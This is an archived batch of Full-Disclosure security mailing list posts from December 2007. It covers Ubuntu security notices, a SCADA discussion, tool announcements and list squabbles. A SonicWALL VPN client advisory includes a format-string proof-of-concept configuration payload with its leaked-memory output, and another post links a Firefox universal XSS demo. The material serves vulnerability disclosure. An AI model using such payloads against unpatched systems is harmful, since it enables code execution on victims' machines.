http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071203/37c86ada/attachment.html From joey.mengele at hushmail.com Mon Dec 3 21:35:35 2007 From: joey.mengele at hushmail.com (Joey Mengele) Date: Mon, 03 Dec 2007 16:35:35 -0500 Subject: [Full-disclosure] Anyone have a reason for 2x the email flow today? Message-ID: <20071203213535.B5C142283E@mailserver10.hushmail.com> Same here. I also noticed I am more tired today than usual. Anyone else seeing this? J On Mon, 03 Dec 2007 15:49:17 -0500 Dude VanWinkle wrote: >My servers are slammed... > >Anyone else notice anything? > >-JP > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ -- Tax Preparation Services - Click Here. http://tagline.hushmail.com/fc/Ioyw6h4ep67ZOEYJqM4bCWKyzlcFTVMGDpjVuFVHqrFFzsja3IJaQ4/ From dudevanwinkle at gmail.com Tue Dec 4 00:51:43 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Mon, 3 Dec 2007 19:51:43 -0500 Subject: [Full-disclosure] Anyone have a reason for 2x the email flow today? In-Reply-To: <2089001063-1196729198-cardhu_decombobulator_blackberry.rim.net-1361672803-@bxe121.bisx.prod.on.blackberry> References: <2089001063-1196729198-cardhu_decombobulator_blackberry.rim.net-1361672803-@bxe121.bisx.prod.on.blackberry> Message-ID: On Dec 3, 2007 7:45 PM, wrote: > Not much other than the weather outside is frightful, but inside it's so delightful. :D > > Geoff > > Sent from my BlackBerry wireless handheld. I guess its more complexity than volume... damn spam.. From gjgowey at tmo.blackberry.net Tue Dec 4 00:45:38 2007 From: gjgowey at tmo.blackberry.net (gjgowey at tmo.blackberry.net) Date: Tue, 4 Dec 2007 00:45:38 +0000 Subject: [Full-disclosure] Anyone have a reason for 2x the email flow today? In-Reply-To: References: Message-ID: <2089001063-1196729198-cardhu_decombobulator_blackberry.rim.net-1361672803-@bxe121.bisx.prod.on.blackberry> Not much other than the weather outside is frightful, but inside it's so delightful. :D Geoff Sent from my BlackBerry wireless handheld. -----Original Message----- From: "Dude VanWinkle" Date: Mon, 3 Dec 2007 15:49:17 To:Ring-of-Fire at yahoogroups.com, funsec ,Full-Disclosure ,incidents at securityfocus.com Subject: Anyone have a reason for 2x the email flow today? My servers are slammed... Anyone else notice anything? -JP ------------------------------------------------------------------------- This list sponsored by: SPI Dynamics ALERT: .How a Hacker Launches a SQL Injection Attack!.- White Paper It's as simple as placing additional SQL commands into a Web Form input box giving hackers complete access to all your backend systems! Firewalls and IDS will not stop such attacks because SQL Injections are NOT seen as intruders. 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The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: slapd 2.2.26-5ubuntu2.4 Ubuntu 6.10: slapd 2.2.26-5ubuntu3.2 Ubuntu 7.04: slapd 2.3.30-2ubuntu0.1 Ubuntu 7.10: slapd 2.3.35-1ubuntu0.1 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Thomas Sesselmann discovered that the OpenLDAP slapd server did not properly handle certain modify requests. A remote attacker could send malicious modify requests to the server and cause a denial of service. (CVE-2007-5707) Toby Blake discovered that slapd did not properly terminate an array while running as a proxy-caching server. A remote attacker may be able to send crafted search requests to the server and cause a denial of service. This issue only affects Ubuntu 7.04 and 7.10. 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Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHVMZ2W0JvuRdL8BoRAo44AJ4lKdQaZEkOT/rJCCH87ZHB/sPK9ACghXsW uzbIzU1FCeG9gaq4dD0g+kQ= =QjYS -----END PGP SIGNATURE----- From kees at ubuntu.com Tue Dec 4 03:45:53 2007 From: kees at ubuntu.com (Kees Cook) Date: Mon, 3 Dec 2007 19:45:53 -0800 Subject: [Full-disclosure] [USN-549-2] PHP regression Message-ID: <20071204034553.GQ8789@outflux.net> =========================================================== Ubuntu Security Notice USN-549-2 December 03, 2007 php5 regression https://launchpad.net/bugs/173043 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 7.10: libapache2-mod-php5 5.2.3-1ubuntu6.2 php5-cgi 5.2.3-1ubuntu6.2 php5-cli 5.2.3-1ubuntu6.2 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: USN-549-1 fixed vulnerabilities in PHP. However, some upstream changes were incomplete, which caused crashes in certain situations with Ubuntu 7.10. This update fixes the problem. We apologize for the inconvenience. Original advisory details: It was discovered that the wordwrap function did not correctly check lengths. Remote attackers could exploit this to cause a crash or monopolize CPU resources, resulting in a denial of service. (CVE-2007-3998) Integer overflows were discovered in the strspn and strcspn functions. Attackers could exploit this to read arbitrary areas of memory, possibly gaining access to sensitive information. (CVE-2007-4657) Stanislav Malyshev discovered that money_format function did not correctly handle certain tokens. If a PHP application were tricked into processing a bad format string, a remote attacker could execute arbitrary code with application privileges. (CVE-2007-4658) It was discovered that the php_openssl_make_REQ function did not correctly check buffer lengths. A remote attacker could send a specially crafted message and execute arbitrary code with application privileges. (CVE-2007-4662) It was discovered that certain characters in session cookies were not handled correctly. A remote attacker could injection values which could lead to altered application behavior, potentially gaining additional privileges. (CVE-2007-3799) Gerhard Wagner discovered that the chunk_split function did not correctly handle long strings. A remote attacker could exploit this to execute arbitrary code with application privileges. (CVE-2007-2872, CVE-2007-4660, CVE-2007-4661) Stefan Esser discovered that deeply nested arrays could be made to fill stack space. A remote attacker could exploit this to cause a crash or monopolize CPU resources, resulting in a denial of service. (CVE-2007-1285, CVE-2007-4670) Rasmus Lerdorf discovered that the htmlentities and htmlspecialchars functions did not correctly stop when handling partial multibyte sequences. A remote attacker could exploit this to read certain areas of memory, possibly gaining access to sensitive information. (CVE-2007-5898) It was discovered that the output_add_rewrite_var fucntion would sometimes leak session id information to forms targeting remote URLs. Malicious remote sites could use this information to gain access to a PHP application user's login credentials. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071203/224054dd/attachment.bin From psz at maths.usyd.edu.au Tue Dec 4 11:16:03 2007 From: psz at maths.usyd.edu.au (Paul Szabo) Date: Tue, 4 Dec 2007 22:16:03 +1100 Subject: [Full-disclosure] Firefox UTF-7 Universal XSS Message-ID: <200712041116.lB4BG31B008651@asti.maths.usyd.edu.au> Building on my previous message Firefox explicit charset inheritance http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/058752.html now offer a demo of (user-assisted) universal cross-site-scripting in Firefox. With slight "social engineering", can XSS practically any http or https sites: http://www.maths.usyd.edu.au/u/psz/ff-utf7-uxss.html For technical details, please see https://bugzilla.mozilla.org/show_bug.cgi?id=356280 Cheers, Paul Szabo psz at maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia From joey.mengele at hushmail.com Tue Dec 4 06:34:55 2007 From: joey.mengele at hushmail.com (Joey Mengele) Date: Tue, 04 Dec 2007 01:34:55 -0500 Subject: [Full-disclosure] SCADA refresher Message-ID: <20071204063456.4890D22846@mailserver5.hushmail.com> Dear I period D period and mailing list, I also am not qualified to comment on this, so here it goes. I don't know shit either, blabla hello electronic mail internets 2007! I AM FAMOUS ON THE FULL DISCLOSURE LOLOLOL! J On Mon, 03 Dec 2007 19:01:40 -0500 "I. D." wrote: >Datapac? In my experience, there aren't many things left there... >of course, >I don't work in that industry. I thought most transactions/work >took places >on other Canadian packet-switched networks. As for south of the >border, I >know even less. > >On Dec 3, 2007 2:51 PM, Dude VanWinkle >wrote: > >> Also Johnson Controls >> >> in 2005 they were busy converting the proprietary BACnet >speaking >> SCADA devices to embedded windows XP, considering NASA and >friends run >> JCI, and there is no good way to update embedded XP (AFAIK) >remotely, >> these systems should be prime targets... >> >> Whats an MLP? >> >> -JP >> >> On Dec 2, 2007 7:52 PM, gmaggro wrote: >> > Been giving myself a little refresher on SCADA, hope no-one >minds the >> MLP. >> > >> > Stock presentation on SCADA security issues: >> > >> > >> http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06- >Maynor-Graham-up.pdf >> > >> > Ganesh Devarajan's Defcon presentation was interesting: >> > >http://video.google.com/videoplay?docid=2434649448102709100&hl=en >> > >> > Makes of SCADA and related products I have seen in actual use: >> > Allen Bradley (hardware) >> > Siemens (hardware) >> > RAND (hardware) >> > ABB (hardware) >> > Wonderware (software, assuming this was what Ganesh was >assaulting) >> > >> > Well, assuming it was Wonderware (http://us.wonderware.com) >since in >> > multiple networks of hundreds of thousands of nodes, and the >companies >> > that own them... Wonderware was the only SCADA related package >that >> > creeped up. >> > >> > On a different and amusing note, X.25 was still in use in a >number of >> > these locations. Take that for what you will, but I don't >think that's a >> > good sign. Hello, Datapac! However I have little idea what the >X.25 >> > landscape is like anymore. Would be interesting if both >> > credit/financial and infrastructure data regularly travelled >over the >> > same paths. Get access to a lottery/debit terminal, or just >its >> > connectivity, and leverage that. >> > >> > 24th Chaos Communication Congress "Hacking SCADA", it sure >would be nice >> > to make it over: >> > >http://events.ccc.de/congress/2007/Fahrplan/events/2227.en.html >> > >> > More amusement, though it's a subscription site: >> > >http://www.digitalbond.com/wiki/index.php/SCADA_IDS_Signatures >> > >> > Anyone have any resources they'd care to share? >> > >> > _______________________________________________ >> > Full-Disclosure - We believe in it. >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> > Hosted and sponsored by Secunia - http://secunia.com/ >> > >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ >> -- Want fast fitness results? Click for free info, revolutionary products. http://tagline.hushmail.com/fc/Ioyw6h4eJVhyeSyiXbrS2j5aRw5p6bXp3dQSoK8qxVxZr7t5JIYx8s/ From research at sec-consult.com Tue Dec 4 13:56:42 2007 From: research at sec-consult.com (Bernhard Mueller) Date: Tue, 4 Dec 2007 14:56:42 +0100 Subject: [Full-disclosure] SEC Consult SA-20071204-0 :: SonicWALL Global VPN Client Format String Vulnerability Message-ID: <1196776602.6253.11.camel@b4byl0n> SEC Consult Security Advisory < 20071204-0 > ===================================================================================== title: SonicWALL Global VPN Client Format String Vulnerability program: SonicWALL Global VPN Client vulnerable version: < 4.0.0.830 homepage: www.sonicwall.com found: 06-12-2007 by: lofi42* perm. link: http://www.sec-consult.com/305.html ===================================================================================== Vendor description: --------------- The SonicWALL Global VPN Client provides mobile users with access to mission-critical network resources by establishing secure connections to their office network's IPSec-compliant SonicWALL VPN gateway. Vulnerabilty overview: --------------- SonicWALL Global VPN Client suffers from a format string vulnerability that can be triggered by supplying a specially crafted configuration file. This vulnerability allows an attacker to execute arbitrary code in the context of the vulnerable client. For a successful attack, the attacker would have to entice his victim into importing the special configuration file. Vulnerability details: --------------- Format string errors occur when the client parses the "name" attribute of the "Connection" tag and the content of the "Hostname" Tags in the configuration file. Examples: %s%s%s%s The bugs has been verified in version 3.1.556 and beta 4.0.0.810. With version 3.1.556 the client has to initiate a connection to trigger the vulnerability, whereas with version 4.0.0.810, the bug can be exploited by simply double-clicking the configuration file. This can be attributed to the 4.0 version trying to write the imported configuration to an extra debug log. Proof-of-concept: --------------- In 4.0.0.810, the bug can be beautifully demonstrated by supplying a crafted config file and then viewing the debug logfile. A configuration like this... AAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.% x.%x BBBBBBBBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.% x.%x.%x.%x.%x.%x.%x ...yields the following logfile: ----------------------< Connection name >----------------------------------- OnLogMessage(): 'The connection "AAAAAAAAAAe64d20.37327830.46413139. 203a3833.782b8d00.6f4c6e4f.73654d67.65676173.203a2928.65685427. 6e6f6320.7463656e.206e6f69.41414122.41414141.25414141" has been enabled.' '' --------------------------------------------------------- ------------------------------------------------------------------ BBBBBBBBBB656d616e.41414120.41414141.25414141.78252e78.2e78252e.252e7825. 78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. 74207825.6e61206f.20504920.72646461.2e737365.42272027.42424242.42424242' ------------------------------------------------------------- This vulnerability allows reading / writing to arbitrary memory addresses within the process memory space. Exploitation is trivial under these circumstances. vendor status: --------------- vendor notified: 2007-08-16 vendor response: 2007-08-29 patch available: 2007-11-26 The issue has been fixed in SonicWall VPN client 4.0.0.830. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * The vulnerabilities described above have been purchased by SEC Consult from an independent security researcher. In the research bonus programme, SEC Consult is looking for security vulnerabilities in common software products. For more information, contact research [at] sec-consult [dot] com From MMaloney at middlesexcc.edu Tue Dec 4 13:27:48 2007 From: MMaloney at middlesexcc.edu (Maloney, Michael) Date: Tue, 4 Dec 2007 08:27:48 -0500 Subject: [Full-disclosure] Anyone have a reason for 2x the email flow today? In-Reply-To: References: Message-ID: <18D45F1BCFBA494D87CE4CAFE370C650C52397@email.intranet.middlesexcc.edu> I've noticed a 30K increase per day in traffic.. ******************************************** Mike Maloney Sr. System Engineer Middlesex County College 2600 Woodbridge Avenue Edison, NJ 08818 Phone: 732-906-7754 Cell: 908-217-2086 Fax: 732-906-4266 Email: MMaloney at middlesexcc.edu ******************************************** -----Original Message----- From: Dude VanWinkle [mailto:dudevanwinkle at gmail.com] Sent: Monday, December 03, 2007 3:49 PM To: Ring-of-Fire at yahoogroups.com; funsec; Full-Disclosure; incidents at securityfocus.com Subject: Anyone have a reason for 2x the email flow today? My servers are slammed... Anyone else notice anything? -JP ------------------------------------------------------------------------- This list sponsored by: SPI Dynamics ALERT: .How a Hacker Launches a SQL Injection Attack!.- White Paper It's as simple as placing additional SQL commands into a Web Form input box giving hackers complete access to all your backend systems! Firewalls and IDS will not stop such attacks because SQL Injections are NOT seen as intruders. Download this *FREE* white paper from SPI Dynamics for a complete guide to protection! https://download.spidynamics.com/1/ad/sql.asp?Campaign_ID=70160000000Cn8E -------------------------------------------------------------------------- From stefano.dipaola at mindedsecurity.com Tue Dec 4 16:08:30 2007 From: stefano.dipaola at mindedsecurity.com (Stefano Di Paola) Date: Tue, 04 Dec 2007 17:08:30 +0100 Subject: [Full-disclosure] The first release of SWFIntruder is out ! Message-ID: <1196784510.5877.62.camel@laptop> I am proud to announce first release of SWFIntruder. SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime. It helps to find flaws in Flash applications using the methodology originally described in Testing Flash Applications [1] and in Finding Vulnerabilities in Flash Applications [2] . Some neat feature: * Basic predefined attack patterns. * Highly customizable attacks. * Highly customizable undefined variables. * Semi automated Xss check. * User configurable internal parameters. * Log Window for debugging and tracking. * History of latest 5 tested SWF files. * ActionScript Objects runtime explorer in tree view. * Persistent Configuration and Layout. SWFIntruder is hosted @ OWASP: https://www.owasp.org/index.php/Category:SWFIntruder and is sponsored by Minded Security (http://www.mindedsecurity.com) Check it out and let me know! Any comments will be appreciated. References: [1] http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt [2] http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt Regards, Stefano -- Stefano Di Paola Chief Technology Officer Director of Minded Security Research Labs Minded Security - Application Security Consulting www.mindedsecurity.com From research at irmplc.com Tue Dec 4 17:29:50 2007 From: research at irmplc.com (IRM Research) Date: Tue, 4 Dec 2007 17:29:50 -0000 Subject: [Full-disclosure] TIBCO Rendezvous Exploitation Video Message-ID: <7B01ACCEDD4FFE48B12A55E2DB16A93026CA91@dccheltenham.local.irmplc.com> IRM have released a video demonstrating the impact (using a trading floor scenario) of the recently published TIBCO Rendezvous DoS vulnerability http://www.irmplc.com/index.php/158-Messaging-Systems-Security From lamerbuster at gmail.com Tue Dec 4 18:37:01 2007 From: lamerbuster at gmail.com (Lamer Buster) Date: Wed, 5 Dec 2007 00:07:01 +0530 Subject: [Full-disclosure] SecNiche Garbage Dumps on mailinglists Message-ID: <24dc08970712041037w69e6c08eu52e72ee8a20062c0@mail.gmail.com> Thanks for your garbage again! I was wondering all these days where have you vanished and how big garbage you are going to dump on all of us this time. so all that you want to express in your huge garbage dump is inurl:ldap. xml site:com allinurl:indexof ldap. xml site:org. bty your description on how google make queries is one amazing piece of information. we would had never known this if you would not have put this in your article. I think you must be drinking enough poo these days. shame on you. -----Original Message----- From: AKS aka (0kn0ck) [mailto:0kn0ck at secniche.org] Sent: 04 December 2007 02:57 To: bugtraq at securityfocus.com; websecurity at webappsec.org Subject: [WhitePaper (SecNiche)] Information Prone LDAP Garbage Dumps Hi The LDAP garbage dump that remains on web server results in information disclosure. Security of LDAP may be compromised, if for instance a search engine crawls through untamed directories on the web server and finds information through the ldap.xml file. This type of harvesting attack is also termed "static information leveraging attack." This article provides methods for dealing with this type of attack and clarifying how to secure LDAP Read it at : http://www.secniche.org/paper.html http://www.secniche.org/papers/Inf_Pr_Ldap_Gar_Dumps.pdf Regards Aks aka 0kn0ck http://www.secniche.org From gmaggro at rogers.com Tue Dec 4 18:33:15 2007 From: gmaggro at rogers.com (gmaggro) Date: Tue, 04 Dec 2007 13:33:15 -0500 Subject: [Full-disclosure] SCADA refresher In-Reply-To: <71c852d10712031601y21a68202td38760820a7d4977@mail.gmail.com> References: <47505E42.90503@rogers.com> <47535341.6060206@rogers.com> <71c852d10712031601y21a68202td38760820a7d4977@mail.gmail.com> Message-ID: <47559D6B.8040002@rogers.com> I. D. wrote: > Datapac? In my experience, there aren't many things left there... of > course, I don't work in that industry. I thought most transactions/work > took places on other Canadian packet-switched networks. As for south of > the border, I know even less. Well it's been 20 years since I played around on Datapac myself. So anyone out there in X.25 land or that uses the stuff regularly, it'd be great to hear facts, statistics and anecdotes ;) Same for frame relay nowadays too. I am going to check out what nmap has for IP enabled PLCs and related gear, SCADA apps, etc. See if anything is lacking and try to contribute back something to fill the hole(s). Anyone know what the nmap coverage is like for x25/frame stuff like pad/frad/wtf devices? I had already started cataloging photos of antennas with the intent of establishing a database to assist people in identifying frequencies and uses. Sadly it took a few hours to figure out someone else must have done this. Came across http://www.geckobeach.com/cellular/cellpixs/cellid.php and http://www.geckobeach.com/cellular/cellpixs/fido_pix.php and liked those. Something along that line but more technical and far more expansive would be a great idea. An option to submit photos for identification would be a nice touch and assist in expanding the database. A moderated newsgroup that accepts binaries might be a better way of accomplishing the same thing. I fired up Pan to check this morning but did not find anything. Anyone here with the ability feel like creating a newsgroup? I mean someone with a real nntp server not some bullshit resold service. From secreview at hushmail.com Tue Dec 4 18:44:07 2007 From: secreview at hushmail.com (secreview at hushmail.com) Date: Tue, 04 Dec 2007 13:44:07 -0500 Subject: [Full-disclosure] Professional IT Security Service Providers - Exposed Message-ID: <20071204184407.E3A0822846@mailserver10.hushmail.com> Greetings List: My team and I have started doing critical reviews of security companies that offer Professional IT Security Services. We find these companies by searching Google for key words like Penetration Testing, Vulnerability Assessments, Web Application Security, etc. We randomly select one of the companies from the search results and begin our review. Generally our reviews are done by reading the contents of the companies website. We strip away all the marketing fluff and we look for untruths, poor grammar, quality of service, team talent and capabilities, site clarity, etc. If the website leaves us with questions, or sounds too good to be true we call the security company being reviewed and engage them in conversation about their capabilities and offerings. Once we feel that we've studied the target company enough, we form a critical opinion and post it in the form of a critical review to http://secreview.blogspot.com. Our reviews are non-biased, critically honest, and in some cases even a bit harsh. We're interested in growing our team of reviewers and site authors but are looking for legitimate readers and writers. If you are interested in doing reviews and having your reviews posted then emails us here to let us know. Or, write a review and email it to us at secreview at hushmail.com and we'll review it and post it if its good. Again, the blog URL is: http://secreview.blogspot.com. Spread it around, show it to other people, post your comments, and be honest. We don't want to give anyone an "incorrect" review, we want the reviews to be as accurate and truthful as possible! Regards, The Secreview Team http://secreview.blogspot.com Professional IT Security Service Providers - Exposed -- Click here for to find products that will help grow your small business. http://tagline.hushmail.com/fc/Ioyw6h4eDJc4GGXbFBkQIWEuJV81lxSTb5bRrR3rPPh9SutJsWSg68/ From trains at doctorunix.com Tue Dec 4 20:15:28 2007 From: trains at doctorunix.com (trains) Date: Tue, 04 Dec 2007 14:15:28 -0600 Subject: [Full-disclosure] Professional IT Security Service Providers - Exposed In-Reply-To: <20071204184407.E3A0822846@mailserver10.hushmail.com> References: <20071204184407.E3A0822846@mailserver10.hushmail.com> Message-ID: <20071204141528.34r7zzvu8s4ccsg4@mail.doctorunix.com> Quoting secreview at hushmail.com: Greetings List: My team and I have started doing critical reviews of security companies that offer Professional IT Security Services. We find ... May I offer a correction. Try this message: "My Team and I have reviewed web sites of companies and (based on their web dev skillz and marketing lingo) have rated the companies' security capabilities." based on their web sites. that makes me sad. that's right in there with counting the number CISSPs at a company. the sales people I have to work with assure me that the product doesn't matter. they keep telling me, "all that matters is the sizzle on the website and the well engineered marketing message". Every day I tell them they are f'd up aholes. It looks like they are right. * sigh * tr ------------------------------------------------- Email solutions, MS Exchange alternatives and extrication, security services, systems integration. Contact: services at doctorunix.com From kees at ubuntu.com Tue Dec 4 20:56:11 2007 From: kees at ubuntu.com (Kees Cook) Date: Tue, 4 Dec 2007 12:56:11 -0800 Subject: [Full-disclosure] [USN-546-2] Firefox regression Message-ID: <20071204205611.GZ8789@outflux.net> =========================================================== Ubuntu Security Notice USN-546-2 December 04, 2007 firefox regression https://bugzilla.mozilla.org/show_bug.cgi?id=405584 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.10: firefox 2.0.0.11+0nobinonly-0ubuntu0.6.10 Ubuntu 7.04: firefox 2.0.0.11+1nobinonly-0ubuntu0.7.4 Ubuntu 7.10: firefox 2.0.0.11+2nobinonly-0ubuntu0.7.10 After a standard system upgrade you need to restart Firefox to effect the necessary changes. Details follow: USN-546-1 fixed vulnerabilities in Firefox. The upstream update included a faulty patch which caused the drawImage method of the canvas element to fail. This update fixes the problem. We apologize for the inconvenience. Original advisory details: It was discovered that Firefox incorrectly associated redirected sites as the origin of "jar:" contents. A malicious web site could exploit this to modify or steal confidential data (such as passwords) from other web sites. (CVE-2007-5947) Various flaws were discovered in the layout and JavaScript engines. By tricking a user into opening a malicious web page, an attacker could execute arbitrary code with the user's privileges. (CVE-2007-5959) Gregory Fleischer discovered that it was possible to use JavaScript to manipulate Firefox's Referer header. A malicious web site could exploit this to conduct cross-site request forgeries against sites that relied only on Referer headers for protection from such attacks. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071204/d026635d/attachment.bin From kristian.hermansen at gmail.com Tue Dec 4 20:57:49 2007 From: kristian.hermansen at gmail.com (Kristian Erik Hermansen) Date: Tue, 4 Dec 2007 12:57:49 -0800 Subject: [Full-disclosure] Internet Explorer Vuln Report, Debunked [Jeff R. Jones is becoming FUD-master] Message-ID: Jeff R. Jones, a director of security strategy for Microsoft, has issued another report on the security of Internet Explorer as compared to Mozilla Firefox. Now, we all understand that any software product will have security issues, but Mr. Jones bases his analysis on the fact that Mozilla patches more frequently. See the report here on his blog. http://blogs.technet.com/security/archive/2007/11/30/download-internet-explorer-and-firefox-vulnerability-analysis.aspx I have refuted the claims of a previous report on Microsoft Vista, but instead of doing that again, I think the following excellent quote sums up the entire analysis done by Mr. Jones -> "Just because dentists fix more teeth in America doesn't mean our teeth are worse than in Africa." -- Kristian Erik Hermansen "I have no special talent. I am only passionately curious." From secreview at hushmail.com Tue Dec 4 21:02:26 2007 From: secreview at hushmail.com (secreview at hushmail.com) Date: Tue, 04 Dec 2007 16:02:26 -0500 Subject: [Full-disclosure] Professional IT Security Service Providers - Exposed Message-ID: <20071204210226.A0DFF22846@mailserver5.hushmail.com> Most intelligent people read the entire contents of what are said and ask questions before jumping to conclusions. Just to make sure that you've had the chance to read this, here it is again. "Generally our reviews are done by reading the contents of the companies website. We strip away all the marketing fluff and we look for untruths, poor grammar, quality of service, team talent and capabilities, site clarity, etc. If the website leaves us with questions, or sounds too good to be true we call the security company being reviewed and engage them in conversation about their capabilities and offerings." You'll notice that the above is an exact quote and not some altered version of what was said taken out of context by someone ("trains") trying to sound smart. Just to be clear, our mission is to expose IT Security Service Providers for what they really are, not to reinforce their marketing fluff and in some cases lies. On Tue, 04 Dec 2007 15:15:28 -0500 trains wrote: >Quoting secreview at hushmail.com: >Greetings List: > >My team and I have started doing critical reviews of security >companies that offer Professional IT Security Services. We find >... > >May I offer a correction. Try this message: > > "My Team and I have reviewed web sites of companies and > (based on their web dev skillz and marketing lingo) have > rated the companies' security capabilities." > >based on their web sites. that makes me sad. that's right in >there >with counting the number CISSPs at a company. > >the sales people I have to work with assure me that the product >doesn't matter. they keep telling me, "all that matters is the >sizzle >on the website and the well engineered marketing message". Every >day >I tell them they are f'd up aholes. > >It looks like they are right. > >* sigh * > > > >tr > >------------------------------------------------- >Email solutions, MS Exchange alternatives and extrication, >security services, systems integration. >Contact: services at doctorunix.com > > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ -- Faster loans with less paperwork. Compare rates. Click to find the right loan. http://tagline.hushmail.com/fc/Ioyw6h4d9K1UVf4lnU2X2ZnaQdEMPIDRrMEiziaDY3VLzmyk971YAQ/ From kees at ubuntu.com Wed Dec 5 00:07:16 2007 From: kees at ubuntu.com (Kees Cook) Date: Tue, 4 Dec 2007 16:07:16 -0800 Subject: [Full-disclosure] [USN-552-1] Perl vulnerability Message-ID: <20071205000716.GC8789@outflux.net> =========================================================== Ubuntu Security Notice USN-552-1 December 04, 2007 perl vulnerability CVE-2007-5116 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: libperl5.8 5.8.7-10ubuntu1.1 Ubuntu 6.10: libperl5.8 5.8.8-6ubuntu0.1 Ubuntu 7.04: libperl5.8 5.8.8-7ubuntu0.1 Ubuntu 7.10: libperl5.8 5.8.8-7ubuntu3.1 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: It was discovered that Perl's regular expression library did not correctly handle certain UTF sequences. If a user or automated system were tricked into running a specially crafted regular expression, a remote attacker could crash the application or possibly execute arbitrary code with user privileges. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071204/89380541/attachment.bin From kees at ubuntu.com Wed Dec 5 00:08:19 2007 From: kees at ubuntu.com (Kees Cook) Date: Tue, 4 Dec 2007 16:08:19 -0800 Subject: [Full-disclosure] [USN-553-1] Mono vulnerability Message-ID: <20071205000819.GD8789@outflux.net> =========================================================== Ubuntu Security Notice USN-553-1 December 04, 2007 mono vulnerability CVE-2007-5197 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: mono-classlib-1.0 1.1.13.6-0ubuntu3.3 mono-classlib-2.0 1.1.13.6-0ubuntu3.3 Ubuntu 6.10: libmono-corlib1.0-cil 1.1.17.1-1ubuntu7.2 libmono-corlib2.0-cil 1.1.17.1-1ubuntu7.2 libmono-security1.0-cil 1.1.17.1-1ubuntu7.2 libmono-security2.0-cil 1.1.17.1-1ubuntu7.2 Ubuntu 7.04: libmono-corlib1.0-cil 1.2.3.1-1ubuntu1.1 libmono-corlib2.0-cil 1.2.3.1-1ubuntu1.1 libmono-security1.0-cil 1.2.3.1-1ubuntu1.1 libmono-security2.0-cil 1.2.3.1-1ubuntu1.1 Ubuntu 7.10: libmono-corlib1.0-cil 1.2.4-6ubuntu6.1 libmono-corlib2.0-cil 1.2.4-6ubuntu6.1 libmono-security1.0-cil 1.2.4-6ubuntu6.1 libmono-security2.0-cil 1.2.4-6ubuntu6.1 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: It was discovered that Mono did not correctly bounds check certain BigInteger actions. Remote attackers could exploit this to crash a Mono application or possibly execute arbitrary code with user privileges. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071204/cd022088/attachment.bin From juha-matti.laurio at netti.fi Wed Dec 5 00:53:13 2007 From: juha-matti.laurio at netti.fi (Juha-Matti Laurio) Date: Wed, 5 Dec 2007 02:53:13 +0200 (EET) Subject: [Full-disclosure] The recent number of unpatched QuickTime flaws is: two Message-ID: <16775401.3307941196815993665.JavaMail.juha-matti.laurio@netti.fi> The QuickTime RTSP vulnerability reported on 23th Nov is not the only unpatched remote vulnerability in QuickTime player. It appears that WabiSabiLabi team has reported that there is another (they call it zero-day vuln) flaw too, affecting to XP systems. The CVE name for this second issue reported by unknown person is CVE-2007-6238. The CVSS score is 10.0, in turn. I have written a summary with reference links here: http://blogs.securiteam.com/?p=1046 - Juha-Matti From security at mandriva.com Wed Dec 5 03:18:16 2007 From: security at mandriva.com (security at mandriva.com) Date: Tue, 04 Dec 2007 20:18:16 -0700 Subject: [Full-disclosure] [ MDKSA-2007:236 ] - Updated openssh packages fix X11 cookie vulnerability Message-ID: -----BEGIN PGP SIGNED 